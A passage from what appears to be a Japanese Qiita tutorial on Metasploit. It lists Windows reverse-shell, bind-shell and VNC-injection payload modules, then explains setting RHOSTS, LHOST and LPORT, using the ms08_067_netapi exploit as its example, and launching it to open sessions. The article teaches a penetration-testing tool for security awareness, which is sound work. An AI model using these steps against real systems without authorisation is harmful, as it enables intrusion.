   104  windows/shell/reverse_udp                                            manual  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   105  windows/shell_bind_tcp                                               manual  No     Windows Command Shell, Bind TCP Inline
   106  windows/shell_hidden_bind_tcp                                        manual  No     Windows Command Shell, Hidden Bind TCP Inline
   107  windows/shell_reverse_tcp                                            manual  No     Windows Command Shell, Reverse TCP Inline
   108  windows/speak_pwned                                                  manual  No     Windows Speech API - Say "You Got Pwned!"
   109  windows/upexec/bind_hidden_ipknock_tcp                               manual  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   110  windows/upexec/bind_hidden_tcp                                       manual  No     Windows Upload/Execute, Hidden Bind TCP Stager
   111  windows/upexec/bind_ipv6_tcp                                         manual  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   112  windows/upexec/bind_ipv6_tcp_uuid                                    manual  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   113  windows/upexec/bind_named_pipe                                       manual  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   114  windows/upexec/bind_nonx_tcp                                         manual  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   115  windows/upexec/bind_tcp                                              manual  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   116  windows/upexec/bind_tcp_rc4                                          manual  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   117  windows/upexec/bind_tcp_uuid                                         manual  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   118  windows/upexec/reverse_ipv6_tcp                                      manual  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   119  windows/upexec/reverse_nonx_tcp                                      manual  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   120  windows/upexec/reverse_ord_tcp                                       manual  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   121  windows/upexec/reverse_tcp                                           manual  No     Windows Upload/Execute, Reverse TCP Stager
   122  windows/upexec/reverse_tcp_allports                                  manual  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   123  windows/upexec/reverse_tcp_dns                                       manual  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   124  windows/upexec/reverse_tcp_rc4                                       manual  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   125  windows/upexec/reverse_tcp_uuid                                      manual  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   126  windows/upexec/reverse_udp                                           manual  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   127  windows/vncinject/bind_hidden_ipknock_tcp                            manual  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   128  windows/vncinject/bind_hidden_tcp                                    manual  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   129  windows/vncinject/bind_ipv6_tcp                                      manual  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   130  windows/vncinject/bind_ipv6_tcp_uuid                                 manual  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   131  windows/vncinject/bind_named_pipe                                    manual  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   132  windows/vncinject/bind_nonx_tcp                                      manual  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   133  windows/vncinject/bind_tcp                                           manual  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   134  windows/vncinject/bind_tcp_rc4                                       manual  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   135  windows/vncinject/bind_tcp_uuid                                      manual  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   136  windows/vncinject/reverse_hop_http                                   manual  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   137  windows/vncinject/reverse_ipv6_tcp                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   138  windows/vncinject/reverse_nonx_tcp                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   139  windows/vncinject/reverse_ord_tcp                                    manual  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   140  windows/vncinject/reverse_tcp                                        manual  No     VNC Server (Reflective Injection), Reverse TCP Stager
   141  windows/vncinject/reverse_tcp_allports                               manual  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   142  windows/vncinject/reverse_tcp_dns                                    manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   143  windows/vncinject/reverse_tcp_rc4                                    manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   144  windows/vncinject/reverse_tcp_uuid                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support

setコマンドを使用して必要に応じてモジュールのパラメータを設定します。
RHOSTSパラメータにターゲットシステムのIPアドレスを設定する場合は、以下のコマンドを実行します。

  • モジュールのパラメータ設定
    msf5> set <設定項目> <設定値>
msf5 exploit(windows/smb/ms08_067_netapi) > set rhosts 1.2.3.4
rhosts => 1.2.3.4

パラメータを設定後、show optionsコマンドを使用して値が正しく設定されていることを確認できます。

よく使用されるパラメータは下記の通りです。

  • RHOSTS:ターゲットシステムのIPアドレスとして単一のIPアドレスまたはネットワーク範囲を設定できます。CIDR(クラスレスドメイン間ルーティング)表記(/24,/16など)またはネットワーク範囲(10.10.10.x – 10.10.10.y)をサポートします。また、file:/path/of/the/target_file.txtファイルを使用し、ターゲットを1行に1つずつリストとして使用することもできます。
  • RPORT:脆弱なアプリケーションが実行されているターゲットシステムのポート。
  • PAYLOAD:エクスプロイトで使用するペイロード。
  • LHOST: 攻撃側のマシン(Kali Linux)のIPアドレス。
  • LPORT:リバースシェルが接続するために使用するポート。これは攻撃側のマシンのポートであり、他のアプリケーションで使用されていない任意のポートに設定できます。
  • SESSION: Metasploitを使用してターゲットシステムに確立された各接続には、セッションIDがあります。これは、既存の接続を使用してターゲットシステムに接続する悪用後のモジュールで使用します。

再度、setコマンドを使用するとパラメータを上書きします。また、unsetコマンドを使用して任意のパラメータをクリアしたり、unset allコマンドを使用してすべての設定パラメータをクリアしたりすることもできます。

設定は変数になっているため、グローバルに全てのモジュールに同一のパラメータを設定したい場合はsetgコマンドを使用して設定することができます。また、unsetgコマンドですべての設定パラメータをクリアします。

モジュール(エクスプロイト)の実行

モジュール(エクスプロイト)の実行は以下のコマンドを実行します。また、-zオプションを付与すると、バックグラウンドで実行します。

  • モジュール(エクスプロイト)の実行
    exploit

エクスプロイトが成功した場合、セッションが作成されます。セッションが作成されるということはターゲットシステムとの間に確立された通信が確立されたことを意味します。sessionsコマンドを実行することで既存のセッションを確認できます。

おわりに

物事の考え方として何もしなければ何も変わりません。

例えばツールなどを導入し、システムにおける脆弱性を可視化しても対応しない限り、根本的な問題解決にはなりません。

社会の仕組みとして道路交通法が存在しない場合、事故が起きる確率は高くなります。
企業においても情報資産の取り扱いなどセキュリティに関するルールが存在しない場合、その分損失的なリスクを上げる確率が上がりやすくなります。

抽象的かつ広範囲な課題は本質的な思考が求められます。

参考

`

  1. アタッカー、クラッカー

  2. 本記事執筆時点(2022年5月)の情報

  3. Proof of concept(PoC)

12
9
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
12
9